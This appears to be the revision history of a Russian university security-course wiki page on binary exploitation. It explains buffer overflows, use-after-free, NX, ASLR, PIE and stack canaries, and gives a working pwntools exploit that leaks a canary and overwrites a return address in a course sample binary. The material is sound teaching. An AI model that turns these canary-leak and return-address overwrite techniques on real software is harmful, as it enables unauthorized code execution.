Введение в практическую безопасность (2019)/Бинарная эксплуатация - История изменений

WGH: /* ASLR */ nm чтобы получить смещения функций в библиотеках

2019-04-14T20:58:31Z

ASLR: nm чтобы получить смещения функций в библиотеках

← Предыдущая версия		Версия от 20:58, 14 апреля 2019
Строка 68:		Строка 68:

	Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция <code>main</code> возвращается куда-то в недра <code>__libc_start_main</code>, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.		Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция <code>main</code> возвращается куда-то в недра <code>__libc_start_main</code>, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.

			Вы можете посмотреть смещения функций в библиотеке при помощи команды <code>nm</code> или pwntools:
			<pre>
			$ nm -D ./libc.so.6 \| egrep ' (malloc\|system)$'
			0000000000084130 T malloc
			0000000000045390 W system
			</pre>
			<pre>
			In [1]: from pwn import *

			In [2]: libc = ELF("../pwn_tasks/libc.so.6")
			[*] '/home/wgh/secsem2019/pwn_tasks/libc.so.6'
			Arch: amd64-64-little
			RELRO: Partial RELRO
			Stack: Canary found
			NX: NX enabled
			PIE: PIE enabled

			In [3]: print(hex(libc.sym["system"]))
			0x45390
			</pre>

	Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано <code>0x00400000</code>.		Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано <code>0x00400000</code>.

WGH: /* Уязвимости */ uaf

2019-03-30T16:06:55Z

Уязвимости: uaf

← Предыдущая версия		Версия от 16:06, 30 марта 2019
Строка 39:		Строка 39:

	Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.		Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.

			=== Use after free ===

			Как и следует из названия, эта уязвимость возникает, когда память, выделанная <code>malloc</code>, используется после освобождения.

			Наиболее серьезные последствия это несет, когда память содержит указатели: часто можно выделить на месте освобожденной памяти строку такого же размера, содержащую в себе запакованный указатель, и получить произвольное чтение или запись по абсолютному адресу.

	== Средства защиты ==		== Средства защиты ==

WGH: /* Пример эксплоита */ правильный уровень заголовка

2019-03-27T22:45:03Z

Пример эксплоита: правильный уровень заголовка

← Предыдущая версия		Версия от 22:45, 27 марта 2019
Строка 152:		Строка 152:
	* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.		* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.

	=== Пример эксплоита ===		==== Пример эксплоита ====

	Эксплоит для ./example_1.5_gets:		Эксплоит для ./example_1.5_gets:

WGH: integer overflow, GOT overwrite and ROP

2019-03-27T21:39:55Z

integer overflow, GOT overwrite and ROP

Внесённые изменения

WGH: /* pwntools */ ссылка на архив с бинарями

2019-03-20T22:15:51Z

pwntools: ссылка на архив с бинарями

← Предыдущая версия		Версия от 22:15, 20 марта 2019
Строка 81:		Строка 81:
	http://docs.pwntools.com/en/stable/index.html		http://docs.pwntools.com/en/stable/index.html

	~~Пример эксплоита~~ для примера <code>example_1.5_gets</code>, разбираемого на задании:		Эксплоит для примера <code>example_1.5_gets</code>, разбираемого на задании ([[Media:2019 pwn samples.zip]]):

	<pre>		<pre>

WGH: материалы про бинарщину

2019-03-20T22:09:11Z

материалы про бинарщину

Новая страница

== Уязвимости ==

=== Переполнение буфера ===
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции <code>gets</code>, <code>strcpy</code>, а также такое встречается и в пользовательском коде.

Техника эксплуатации сильно зависит от того, где произошло переполнение.

* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором<ref>https://sourceware.org/glibc/wiki/MallocInternals</ref><ref>https://github.com/shellphish/how2heap</ref><ref>Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.</ref>.

=== Buffer over-read ===

Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.

Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].

=== Uninitialized memory read ===

Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.

== Средства защиты ==
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).

=== No execute (NX) ===

Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через <code>malloc</code> или в статический глобальный буфер, при попытке выполнить этот код произойдет <code>SIGSEGV</code>

На уровне пользовательской программы это реализовано флагом <code>prot</code> в системных вызовах <code>mmap</code> и <code>mprotect</code>. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (<code>ld.so</code>) и libc сами выделяют память с правильными правами доступа.

Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на <code>system</code>.

Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы <code>pmap</code>, команды <code>info proc mappings</code> в GDB, или <code>vmmap</code> в GDB+PEDA.

* https://en.wikipedia.org/wiki/NX_bit

=== ASLR ===

Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.

Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции <code>system</code> просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг <code>is_admin</code>): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.

Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция <code>main</code> возвращается куда-то в недра <code>__libc_start_main</code>, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.

Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано <code>0x00400000</code>.

Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.

<pre>
$ pwn checksec /bin/bash
[*] '/bin/bash'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
</pre>

* https://en.wikipedia.org/wiki/Address_space_layout_randomization

=== Stack canary ===
Stack canary (<code>-fstack-protector</code>, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.

При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.

В прологе функции за адресом возврата<ref>Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.</ref> на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.

В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа <code>strcpy</code>.

В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите <code>__readfsqword(0x28u)</code>, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.

* https://wiki.osdev.org/Stack_Smashing_Protector

== Инструменты ==

=== pwntools ===

pwntools - удобная библиотека-фреймворк для написания эксплоитов.

http://docs.pwntools.com/en/stable/index.html

Пример эксплоита для примера <code>example_1.5_gets</code>, разбираемого на задании:

<pre>
#!/usr/bin/env python2

from pwn import *

# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal
# or just run in tmux and everything will work
#context.terminal = ["xterm", "-e"]

p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"])

#gdb.attach(p) # <- uncomment to enable debugger

p.sendline("128")
p.sendline("aaaa")

#p.interactive()

p.recvuntil("Hello, ")

data = p.recvuntil("Enter password")

print hexdump(data)

canary = data[40:48]

payload = ""
payload += "A" * 40
payload += canary
payload += "A" * 24
payload += p64(0x400B33) # <- try to set it to 0xdeadbeef and see what happens in debugger

p.sendline(payload)

p.interactive()
</pre>

== Примечания ==
<references/>